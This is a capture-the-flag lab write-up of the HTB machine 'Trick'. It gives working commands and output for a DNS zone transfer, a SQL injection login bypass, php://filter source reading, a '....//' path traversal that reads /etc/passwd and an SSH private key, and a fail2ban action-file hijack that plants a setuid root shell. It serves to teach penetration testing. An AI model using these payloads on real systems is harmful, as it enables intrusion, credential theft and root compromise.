Miguel.sh

Trick

A misconfigured BIND zone transfer exposes a payroll vhost, where a SQL injection bypass leads to a php://filter source read. The source reveals a second vhost whose include filter falls to a single-pass traversal bypass, giving an SSH key and a user shell. Root follows by hijacking a fail2ban action file in a group-writable directory and triggering a ban.

Category
machine
Source
HTB
OS
linux
Difficulty
easy
Released
Tags
linuxnginxdnszone-transfervhostssqliauth-bypasslfiphp-filterfail2bansudo
Tools
nmap, dig, ffuf, curl, nxc, ssh

Attack path

flowchart LR
  A["nmap 22/25/53/80"] --> B["AXFR zone transfer"]
  B --> C["preprod-payroll vhost"]
  C --> D["SQLi auth bypass"]
  D --> E["php://filter source read"]
  E --> F["creds + app map"]
  B --> G["ffuf preprod- prefix<br/>preprod-marketing vhost"]
  G --> H["....// traversal bypass<br/>arbitrary file read"]
  H --> I["michael id_rsa"]
  I --> J["SSH shell + user flag"]
  J --> K["sudo fail2ban restart<br/>+ security group"]
  K --> L["actionban hook via mv -f"]
  L --> M["nxc ban trigger<br/>runs payload as root"]
  M --> N["root flag"]

Recon

Step 1 — Port scan

A full TCP scan finds four services.

nmap
sudo nmap -sV -sC -T4 10.129.227.180 -p- -o nmap.txt
nmap
22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2
25/tcp open smtp?
53/tcp open domain ISC BIND 9.11.5-P4-5.1+deb10u7 (Debian Linux)
80/tcp open http nginx 1.14.2

DNS on port 53 is the lead: BIND is not common on a web box, and the box name suggests the domain trick.htb by HTB convention.

Step 2 — Zone transfer

allow-transfer is open, so a full zone copy works against the guessed domain.

dig
dig axfr trick.htb @10.129.227.180
dig
trick.htb. 604800 IN A 127.0.0.1
trick.htb. 604800 IN AAAA ::1
preprod-payroll.trick.htb. 604800 IN CNAME trick.htb.

The zone leaks one new name: preprod-payroll.trick.htb. Note the zone A record points to 127.0.0.1, so the name must be resolved locally, not through the box’s DNS.

Step 3 — Reach the payroll vhost

Map the name to the box IP and request it. nginx serves sites by Host header, so the bare IP keeps the default page.

hosts
echo "10.129.227.180 trick.htb preprod-payroll.trick.htb" | sudo tee -a /etc/hosts

Default vhost served by IP and trick.htb

preprod-payroll.trick.htb redirects to /login.php, an “Employee’s Payroll Management System” login form.

Payroll management system login page

The login page JavaScript posts to ajax.php?action=login with username and password, and redirects to index.php?page=home on success. Both details matter later.

Foothold

Step 4 — SQL injection auth bypass

The login query concatenates both parameters, so a tautology bypasses it.

curl
curl -s -c /tmp/trick.cj -X POST 'http://preprod-payroll.trick.htb/ajax.php?action=login' \
--data-urlencode "username=admin' or '1'='1'-- -" \
--data-urlencode "password=x"
curl
1

The response 1 means an admin session. In a browser, the same payload in the username field logs in directly.

SQL injection payload in the login form

Administrator dashboard after the bypass

Step 5 — Read PHP source through the include

index.php?page=home includes a file named by the parameter. Direct traversal fails silently for every variant, because the include appends .php to the value. The php://filter wrapper turns that into an advantage: the appended suffix completes the resource name, and the wrapper returns base64 source instead of executing it. The result is arbitrary PHP source read, not arbitrary file read.

curl
curl -s -b /tmp/trick.cj 'http://preprod-payroll.trick.htb/index.php?page=php://filter/convert.base64-encode/resource=index' \
-o /tmp/f1.html
grep -oE '[A-Za-z0-9+/=]{200,}' /tmp/f1.html | base64 -d
index.php (decoded)
<?php $page = isset($_GET['page']) ? $_GET['page'] : 'home'; ?>
<?php include $page.'.php' ?>

Step 6 — Audit the application source

Reading db_connect.php, admin_class.php, ajax.php and navbar.php through the same filter gives the database credentials and the application map.

db_connect.php (decoded)
$conn= new mysqli('localhost','remo','TrulyImpossiblePasswordLmao123','payroll_db')or die("Could not connect to mysql".mysqli_error($con));
admin_class.php (decoded)
function login(){
extract($_POST);
$qry = $this->db->query("SELECT * FROM users where username = '".$username."' and password = '".$password."' ");

The password comparison is plaintext, which is why the bypass in step 4 works. An upload endpoint also exists at ajax.php?action=save_settings, but its target directory is not writable by the web user, so it goes nowhere.

Step 7 — Find the sibling vhost

The preprod- prefix is a naming convention, so fuzz the Host header for siblings against the bare IP. The default page is 5480 bytes; anything else is a hit.

ffuf
ffuf -u http://10.129.227.180 -H "Host: preprod-FUZZ.trick.htb" \
-w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -fs 5480
ffuf
marketing [Status: 200, Size: 9660, Words: 3007, Lines: 179]

preprod-marketing.trick.htb is a second application. Add it to /etc/hosts and browse it.

Step 8 — Traverse past the include filter

The marketing app uses the same index.php?page= pattern and includes any file, but strips ../ from the value first through str_replace("../","",$file), which removes each occurrence exactly once. Inside ....// hides one ../: after the strip removes it, the remaining characters join into a fresh ../. Chaining copies of the pattern traverses to any absolute path.

curl
curl -s 'http://preprod-marketing.trick.htb/index.php?page=....//....//....//....//....//....//etc/passwd'
curl
root:x:0:0:root:/root:/bin/bash
...
michael:x:1001:1001::/home/michael:/bin/bash

One human user exists: michael.

Step 9 — Read michael’s SSH key

The file read reaches any path, so pull michael’s private key.

curl
curl -s 'http://preprod-marketing.trick.htb/index.php?page=....//....//....//....//....//....//home/michael/.ssh/id_rsa' -o /tmp/id_rsa
head -2 /tmp/id_rsa
curl
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABFwAAAAdzc2gtcn

Step 10 — SSH shell and user flag

The key is accepted for SSH as michael.

ssh
chmod 600 /tmp/id_rsa
ssh -i /tmp/id_rsa michael@10.129.227.180 'id; cat ~/user.txt'
ssh
uid=1001(michael) gid=1001(michael) groups=1001(michael),1002(security)
<redacted>

The security group membership is the privesc lead.

Privilege escalation

The user flag came with the shell in step 10, so only root remains.

Root — fail2ban actionban hijack

Step 11 — Map the privesc surface

sudo
sudo -l
sudo
User michael may run the following commands on trick:
(root) NOPASSWD: /etc/init.d/fail2ban restart
find
find / -group security -writable 2>/dev/null
find
/etc/fail2ban/action.d

michael may restart fail2ban as root, and the security group may replace files inside the action directory. The action files are root-owned, but the directory permission is enough to swap them: mv needs write on the directory, not the file.

ls
ls -ld /etc/fail2ban/action.d/
ls
drwxrwx--- 2 root security 4096 Nov 5 14:15 /etc/fail2ban/action.d/

Step 12 — Replace the action file with a hooked actionban

The default banaction is iptables-multiport, whose actionban runs as root whenever a ban fires. Copy the file out, inject a payload as a continuation line of actionban, and move it back over the original.

file replacement
cp /etc/fail2ban/action.d/iptables-multiport.conf /tmp/f5.conf
sed -i '/^actionban =/a\ cp /bin/bash /tmp/rootb\n chmod 4777 /tmp/rootb' /tmp/f5.conf
grep -n rootb /tmp/f5.conf && \
mv -f /tmp/f5.conf /etc/fail2ban/action.d/iptables-multiport.conf && \
sudo /etc/init.d/fail2ban restart
file replacement
42: cp /bin/bash /tmp/rootb
43: chmod 4777 /tmp/rootb
[ ok ] Restarting fail2ban (via systemctl): fail2ban.service.
fail2ban action semantics

Hook actionban, not actionstart. On fail2ban 0.10.x the action commands execute when a ban fires, not when the jail starts, so a restart alone never runs the payload. Keep the payload plain sh: the commands run through dash, so nested quotes and bash /dev/tcp redirections fail silently.

Step 13 — Trigger a ban

The jail needs five failures within findtime. The parsed configuration shows the budget:

fail2ban-client
fail2ban-client -d 2>&1 | grep -E "maxretry|findtime|bantime"
fail2ban-client
['set', 'sshd', 'maxretry', '5']
['set', 'sshd', 'findtime', '10s']
['set', 'sshd', 'bantime', '10s']

A single-threaded brute-force tool fires fast enough; bantime is ten seconds, so the ban expires immediately after.

nxc
nxc ssh 10.129.227.180 -u nonexistent -p /usr/share/wordlists/rockyou.txt --ignore-pw-decoding

When the fifth failure lands inside the window, the ban fires and actionban runs as root.

ls
ls -la /tmp/rootb
ls
-rwsrwxrwx 1 root root 1168776 Nov 5 15:23 /tmp/rootb

Step 14 — Root shell and flag

The dropped binary is setuid root.

root shell
/tmp/rootb -p
id && cat /root/root.txt
root shell
uid=1001(michael) gid=1001(michael) euid=0(root) groups=1001(michael),1002(security)
<redacted>

Lessons learned

  • A DNS server on a box is an attack surface: test zone transfer early, and remember the leaked A record may point to 127.0.0.1, so resolve vhosts through /etc/hosts with the real IP.
  • An include that appends .php is not a dead LFI — php://filter with the appended suffix gives arbitrary PHP source read, which is usually enough to find credentials and a second vhost.
  • str_replace("../","") is a single pass; ....// reassembles after it.
  • Directory write beats file permissions: mv -f replaces root-owned files in a group-writable directory.
  • fail2ban actions run at ban time. The hook belongs in actionban, the payload in plain sh, and the trigger must respect findtime — check it with fail2ban-client -d before burning attempts.